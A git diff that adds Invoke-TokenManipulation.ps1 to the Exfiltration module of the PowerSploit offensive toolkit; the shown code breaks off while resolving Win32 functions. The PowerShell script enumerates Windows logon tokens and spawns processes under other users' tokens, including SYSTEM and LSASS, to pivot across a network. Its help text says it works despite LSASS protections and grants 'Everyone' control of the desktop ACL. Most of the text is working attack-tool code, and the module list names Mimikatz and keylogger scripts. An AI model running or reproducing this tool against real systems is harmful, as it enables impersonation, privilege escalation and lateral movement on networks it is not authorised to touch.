diff options
-rw-r--r-- | Exfiltration/Exfiltration.psd1 | 2 | ||||
-rw-r--r-- | Exfiltration/Invoke-TokenManipulation.ps1 | 1773 |
2 files changed, 1774 insertions, 1 deletions
diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 382b2e3..5268eb2 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -75,7 +75,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
- 'Invoke-NinjaCopy.ps1'
+ 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 new file mode 100644 index 0000000..affbc20 --- /dev/null +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -0,0 +1,1773 @@ +function Invoke-TokenManipulation +{ +<# +.SYNOPSIS + +This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use +anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections. +This functionality is very similar to the incognito tool (with some differences, and different use goals). + +This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell +creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token +that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect +to another server as that user (it will authenticate using the primary token of the process, which is your original logon token). + +Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon +Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their +credentials for the authentication. + +IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone". +This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL +is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though, +so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop. +This could show up in logs depending on the level of monitoring. + + +Important differences from incognito: +First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates +between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service +which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow +you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting +without dumping credentials. + +In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does +matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for +the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types +should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks +for tokens which were created with desirable logon tokens (and only displays them by default). + +In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good). + + +PowerSploit Function: Invoke-TokenManipulation +Author: Joe Bialek, Twitter: @JosephBialek +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +Version: 1.0 + +.DESCRIPTION + +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + +.PARAMETER Enumerate + +Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens). + +.PARAMETER RevToSelf + +Switch. Stops impersonating an alternate users Token. + +.PARAMETER ShowAll + +Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens). + +.PARAMETER ImpersonateUser + +Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId. + This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead. + +.PARAMETER CreateProcess + +Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId. + +.PARAMETER WhoAmI + +Switch. Displays the credentials the PowerShell thread is running under. + +.PARAMETER Username + +Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user. + +.PARAMETER ProcessId + +Specify the Token to use by ProcessId. This will use the primary token of the process specified. + +.PARAMETER Process + +Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process. + +.PARAMETER ThreadId + +Specify the Token to use by ThreadId. This will use the token of the thread specified. + +.PARAMETER ProcessArgs + +Specify the arguments to start the specified process with when using the -CreateProcess mode. + +.PARAMETER NoUI + +If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the +current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control +to "Everyone". + + +.EXAMPLE + +Invoke-TokenManipulation -Enumerate + +Lists all unique usable tokens on the computer. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" + +Spawns cmd.exe as SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" + +Makes the current PowerShell thread impersonate SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 + +Spawns cmd.exe using the primary token belonging to process ID 500. + +.EXAMPLE + +Invoke-TokenManipulation -ShowAll + +Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 + +Spawns cmd.exe using the token belonging to thread ID 500. + +.EXAMPLE + +Get-Process lsass | Token-TokenManipulation -CreateProcess "cmd.exe" + +Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. + +.EXAMPLE + +Get-Process lsass | Token-TokenManipulation -ImpersonateUser + +Makes the current thread impersonate the lsass security token. + +.NOTES +This script was inspired by incognito. + +Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/). +BIG THANKS to Matt Graeber for helping debug. + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ + +#> + + [CmdletBinding(DefaultParameterSetName="Enumerate")] + Param( + [Parameter(ParameterSetName = "Enumerate")] + [Switch] + $Enumerate, + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "ShowAll")] + [Switch] + $ShowAll, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Switch] + $ImpersonateUser, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $CreateProcess, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $Username, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [Int] + $ProcessId, + + [Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)] + [Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)] + [System.Diagnostics.Process] + $Process, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + $ThreadId, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $ProcessArgs, + + [Parameter(ParameterSetName = "CreateProcess")] + [Switch] + $NoUI + ) + + Set-StrictMode -Version 2 + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + ############################### + #Win32Constants + ############################### + $Constants = @{ + ACCESS_SYSTEM_SECURITY = 0x01000000 + READ_CONTROL = 0x00020000 + SYNCHRONIZE = 0x00100000 + STANDARD_RIGHTS_ALL = 0x001F0000 + TOKEN_QUERY = 8 + TOKEN_ADJUST_PRIVILEGES = 0x20 + ERROR_NO_TOKEN = 0x3f0 + SECURITY_DELEGATION = 3 + DACL_SECURITY_INFORMATION = 0x4 + ACCESS_ALLOWED_ACE_TYPE = 0x0 + STANDARD_RIGHTS_REQUIRED = 0x000F0000 + DESKTOP_GENERIC_ALL = 0x000F01FF + WRITE_DAC = 0x00040000 + OBJECT_INHERIT_ACE = 0x1 + GRANT_ACCESS = 0x1 + TRUSTEE_IS_NAME = 0x1 + TRUSTEE_IS_SID = 0x0 + TRUSTEE_IS_USER = 0x1 + TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 + TRUSTEE_IS_GROUP = 0x2 + PROCESS_QUERY_INFORMATION = 0x400 + TOKEN_ASSIGN_PRIMARY = 0x1 + TOKEN_DUPLICATE = 0x2 + TOKEN_IMPERSONATE = 0x4 + TOKEN_QUERY_SOURCE = 0x10 + STANDARD_RIGHTS_READ = 0x20000 + TokenStatistics = 10 + TOKEN_ALL_ACCESS = 0xf01ff + MAXIMUM_ALLOWED = 0x02000000 + THREAD_ALL_ACCESS = 0x1f03ff + ERROR_INVALID_PARAMETER = 0x57 + LOGON_NETCREDENTIALS_ONLY = 0x2 + SE_PRIVILEGE_ENABLED = 0x2 + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 + SE_PRIVILEGE_REMOVED = 0x4 + } + + $Win32Constants = New-Object PSObject -Property $Constants + ############################### + + + ############################### + #Win32Structures + ############################### + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + #ENUMs + $TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32]) + $TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null + $TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null + $TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null + $TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null + $TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null + $TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null + $TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null + $TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null + $TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null + $TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null + $TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null + $TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null + $TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null + $TypeBuilder.DefineLiteral('TokenIntegrityLevel', [UInt32] 25) | Out-Null + $TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null + $TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null + $TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null + $TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null + $TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null + $TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null + $TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null + $TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType() + + #STRUCTs + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LARGE_INTEGER = $TypeBuilder.CreateType() + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + + #Struct TOKEN_STATISTICS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null + $TOKEN_STATISTICS = $TypeBuilder.CreateType() + + #Struct LSA_UNICODE_STRING + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null + $LSA_UNICODE_STRING = $TypeBuilder.CreateType() + + #Struct LSA_LAST_INTER_LOGON_INFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null + $LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType() + + #Struct SECURITY_LOGON_SESSION_DATA + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null + $SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType() + + #Struct STARTUPINFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null + $STARTUPINFO = $TypeBuilder.CreateType() + + #Struct PROCESS_INFORMATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null + $PROCESS_INFORMATION = $TypeBuilder.CreateType() + + #Struct TOKEN_ELEVATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null + $TOKEN_ELEVATION = $TypeBuilder.CreateType() + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null + $ACE_HEADER = $TypeBuilder.CreateType() + + #Struct ACL + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null + $ACL = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null + $ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType() + + #Struct TRUSTEE + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null + $TRUSTEE = $TypeBuilder.CreateType() + + #Struct EXPLICIT_ACCESS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null + $EXPLICIT_ACCESS = $TypeBuilder.CreateType() + ############################### + + + ############################### + #Win32Functions + ############################### + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + + $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken + $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) + + $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation + $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate) + + $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken + $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool]) + $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate) + + 